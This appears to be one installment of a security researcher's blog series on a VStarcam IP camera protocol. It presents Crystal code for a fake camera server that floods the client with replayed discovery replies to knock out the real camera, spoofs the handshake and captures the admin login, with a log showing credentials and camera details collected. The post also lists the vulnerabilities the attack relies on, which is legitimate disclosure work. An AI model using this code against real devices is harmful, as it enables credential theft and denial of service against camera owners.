The new goal is to write a fake camera server, a piece of software that will pretend to be a camera, to the client, and use it to pry information out. Where do we start?

First thing I did was sit down and flesh out a basic connection process.

  1. Wait for DBP from client (f130 from 8600) (client to 255.255.255.255)
  2. Capture DBR from camera (44480108 from 6801) (camera to 255.255.255.255)
    • Get UID, change IP, MAC, and/or other info.
  3. Spam DBR at client (to beat out camera.)
  4. Wait for BCP from client
  5. Send BPS to client
  6. Wait for BPS from client
  7. Forge BPA to client.
  8. Main phase, ping pong, wait for a GET with login params.
  9. Once we get password, send disconnect, and close server.

Capture DBP from client

The client is going to send a DBP out to discover camera on the network, we need to listen for this so we can determine what IP address the client is at.


def listen_for_client_dbp
  # TODO: ADD TIMEOUTS!
  got_dbp = false
  LOG.info("Waiting to receive the DBP from a client")
  until got_dbp
    potential_dbp = @db_camera_sock.receive
    got_dbp = true if potential_dbp[0] == DBP
  end
  got_dbp
end

Capture DBR from the camera

The camera will send out the DBR, we need to capture that and hold it for replay.


def listen_for_camera_dbr
  # TODO: ADD TIMEOUTS!
  got_dbr = false
  LOG.info("Waiting to receive the DBR from a camera")

  until got_dbr
    potential_dbr = @db_client_sock.receive
    LOG.info("Got a potential DBR from a client")
    
    if potential_dbr[0][0..3] == DBR_HEADER
      got_dbr = true 
      @camera = potential_dbr[1]
      LOG.info "GOT DBR TARGET #{@camera}"
    end
  end
  if potential_dbr
    @dbr = Client.parse_dbr potential_dbr
    @dbr
  else
    nil
  end
end

Spam DBR

Now, we need to both, disrupt connection of the camera, as well as flood our client with DBR. This step took me a while to figure out, and I ran through a whole load of things to try and disrupt the camera. Before I discovered this DoS, I would literally just simulate a disconnect on the camera by unplugging it from the network.

Some things I tried,

  • UDP Flooding
  • Connection spamming
    • Opening up connections with the camera and disconnecting constantly.
    • EX: DBP -> DBR -> BCP -> BPS -> BPA -> RESTART
    • Hangs camera a bit, as it waits for and tracks ping-pong through the protocol.
  • Broadcast flooding
    • Flooding the broadcast with DBP/BCP to tie up camera resources.

In the end after quite a lot of testing I used this tactic to get it to disrupt, flooding the client with DBR, which luckily disconnects the client from the camera, and when it reconnects, our DBR will always be first to the connection.


# We just need to get our DBR in before the camera.
def spam_dbr(dbr)
  @spam_dbr = true
  LOG.info "Spamming DBR!"
  spam_fiber = spawn do
    while @spam_dbr
      begin
        send_dbr(dbr)
        sleep 0.000001
      rescue e
        LOG.info "SPAM DBR EXCEPTION #{e}"
      end
    end
    LOG.info "Spamming DBR Finished!"
  end
end

Handle BP Handshake

Now that the spam fiber is running in the background, we need to wait for BCP, once we get it we will send the BPS, wait for reply, the send four BPA. Our tick will have this inside.


elsif state == :listen_for_client_bcp
  listen_for_client_bcp
  change_state :send_bps
elsif state == :send_bps
  send_bps @dbr[:uid]
  change_state :receive_bps
elsif state == :receive_bps
  if receive_bps(5)
    @spam_dbr = false
    change_state :send_4_bpa
  else
    change_state :listen_for_client_bcp
  end
elsif state == :send_4_bpa
  send_bpa(@dbr[:uid])
  send_bpa(@dbr[:uid])
  send_bpa(@dbr[:uid])
  send_bpa(@dbr[:uid])
  send_pong
  if wait_for_client_ping(5)
    change_state :main_phase
  else
    change_state :spam
  end

Waiting for Ping

We need to verify the client really is targeting us, so we send a pong, if we get a ping back, we have initiated connection. I implemented a basic timeout for the connection that will change the state back to the start if there was an issue.


def wait_for_client_ping(timeout)
  LOG.info "Waiting for client ping"
  ping_channel = Channel(Bool).new

  main_fiber = spawn do
    got_ping = false
    until got_ping
      potential_ping = @data_channel.receive
      if potential_ping[0] == PING_PACKET
        got_ping = true
      elsif potential_ping[0] == UNBLOCK_FIBER_DATA
        break
      end
    end
    ping_channel.send got_ping
  end
  timeout_fiber = spawn do
    sleep timeout
    unblock_data
  end
  got_ping = ping_channel.receive
  if got_ping
    LOG.info "PING SUCCESSFUL" 
  else
    LOG.info "PING UNSUCCESSFUL"
  end
  got_ping
end

Getting the Password

At this point we have done everything we needed, and the client should be spilling it’s guts to us.


[Running] crystal "/home/ian/Documents/crystal/vstarcam-investigational-journey/client/src/sandbox.cr"
I, [2019-03-13 20:24:28 -07:00 #25421]  INFO -- : Opening ports
I, [2019-03-13 20:24:28 -07:00 #25421]  INFO -- : Ports opened
I, [2019-03-13 20:24:28 -07:00 #25421]  INFO -- : Waiting to receive the DBP from a client
I, [2019-03-13 20:24:31 -07:00 #25421]  INFO -- : Changing to listen_for_camera_dbr
I, [2019-03-13 20:24:31 -07:00 #25421]  INFO -- : Waiting to receive the DBR from a camera
I, [2019-03-13 20:24:31 -07:00 #25421]  INFO -- : Got a potential DBR from a client
I, [2019-03-13 20:24:31 -07:00 #25421]  INFO -- : GOT DBR TARGET 192.168.11.140:8600
I, [2019-03-13 20:24:31 -07:00 #25421]  INFO -- : Parsed new target camera {:camera_ip => "192.168.11.140", :netmask => "255.255.255.0", :gateway => "192.168.11.1", :dns1 => "8.8.8.8", :dns2 => "192.168.11.1", :mac_address => "48:02:2A:0B:DB:B4", :http_port => "47250", :uid => "VSTB668515UZCPK", :name => "IPMAN", :ddns_ip => "48.53.72.104", :unknown1 => "\u0001", :ddns_url => "user2.ipcam.so", :sn => "dqqlz", :ddns_password => "252926"}
I, [2019-03-13 20:24:31 -07:00 #25421]  INFO -- : Changing to spam
I, [2019-03-13 20:24:31 -07:00 #25421]  INFO -- : Spamming DBR!
I, [2019-03-13 20:24:31 -07:00 #25421]  INFO -- : Changing to listen_for_client_bcp
I, [2019-03-13 20:24:31 -07:00 #25421]  INFO -- : Changing to send_bps
I, [2019-03-13 20:24:31 -07:00 #25421]  INFO -- : Changing to receive_bps
I, [2019-03-13 20:24:31 -07:00 #25421]  INFO -- : BPS SUCCESSFUL
I, [2019-03-13 20:24:31 -07:00 #25421]  INFO -- : Changing to send_4_bpa
I, [2019-03-13 20:24:31 -07:00 #25421]  INFO -- : Sent Pong
I, [2019-03-13 20:24:31 -07:00 #25421]  INFO -- : Waiting for client ping
I, [2019-03-13 20:24:31 -07:00 #25421]  INFO -- : Spamming DBR Finished!
I, [2019-03-13 20:24:33 -07:00 #25421]  INFO -- : PING SUCCESSFUL
I, [2019-03-13 20:24:33 -07:00 #25421]  INFO -- : Changing to main_phase
I, [2019-03-13 20:24:33 -07:00 #25421]  INFO -- : REQUEST RECEIVED FROM CLIENT 108
I, [2019-03-13 20:24:33 -07:00 #25421]  INFO -- : 
GET /check_user.cgi?name=300178294&loginuse=admin&loginpas=password&user=admin&pwd=password&
I, [2019-03-13 20:24:33 -07:00 #25421]  INFO -- : REQUEST RECEIVED FROM CLIENT 108
I, [2019-03-13 20:24:33 -07:00 #25421]  INFO -- : 
GET /check_user.cgi?name=300178294&loginuse=admin&loginpas=password&user=admin&pwd=password&
I, [2019-03-13 20:24:33 -07:00 #25421]  INFO -- : REQUEST RECEIVED FROM CLIENT 108
I, [2019-03-13 20:24:33 -07:00 #25421]  INFO -- : 
GET /check_user.cgi?name=300178294&loginuse=admin&loginpas=password&user=admin&pwd=password&
I, [2019-03-13 20:24:34 -07:00 #25421]  INFO -- : Sent Pong
I, [2019-03-13 20:24:35 -07:00 #25421]  INFO -- : Sent Pong
I, [2019-03-13 20:24:36 -07:00 #25421]  INFO -- : Sent Pong
I, [2019-03-13 20:24:36 -07:00 #25421]  INFO -- : RECEIVED UNBLOCK FIBER COMMAND!
I, [2019-03-13 20:24:36 -07:00 #25421]  INFO -- : RECEIVED UNBLOCK FIBER COMMAND!
I, [2019-03-13 20:24:37 -07:00 #25421]  INFO -- : Sent Pong
I, [2019-03-13 20:24:37 -07:00 #25421]  INFO -- : RECEIVED DISCONNECT FROM CLIENT
I, [2019-03-13 20:24:37 -07:00 #25421]  INFO -- : Changing to spam
I, [2019-03-13 20:24:37 -07:00 #25421]  INFO -- : Spamming DBR!
I, [2019-03-13 20:24:37 -07:00 #25421]  INFO -- : Changing to listen_for_client_bcp
I, [2019-03-13 20:24:37 -07:00 #25421]  INFO -- : Changing to send_bps
I, [2019-03-13 20:24:37 -07:00 #25421]  INFO -- : Changing to receive_bps
I, [2019-03-13 20:24:42 -07:00 #25421]  INFO -- : BPS UNSUCCESSFUL
I, [2019-03-13 20:24:42 -07:00 #25421]  INFO -- : Changing to listen_for_client_bcp

Beautipul

Why does it work?

The client has very weak checks in place for the camera, it doesn’t keep track of the IP address and MAC address of the camera, which makes spoofing unnecessary. It doesn’t parse fields in the DBR properly (or at all) or simply ignores them. You can literally echo the packet you got from the camera, with all the same fields at the client and it doesn’t even care, it just keeps track of the IP of the camera based on incoming connection, not even validating the info in the DBR. Also a flaw in the processing of DBR by the client causes a DoS against the camera, not allowing it to connect to the client. All this could have been prevented in the first place if they just would have not broadcasted the DBR, there is actually no need.

In short, there are a couple vulnerabilities this relies on

  • Improper connection tracking
  • Improper parsing/validating of DBR fields
  • Broadcasting DBR
  • Client improperly handling DBR flood.
  • Client improperly handling sensitive data

These could not have been found if it wasn’t for tireless testing of the camera and familiarity of the device, and yet it is still just a stepping stone to a much larger potential exploit, auto_download.cgi.

Part 10 >>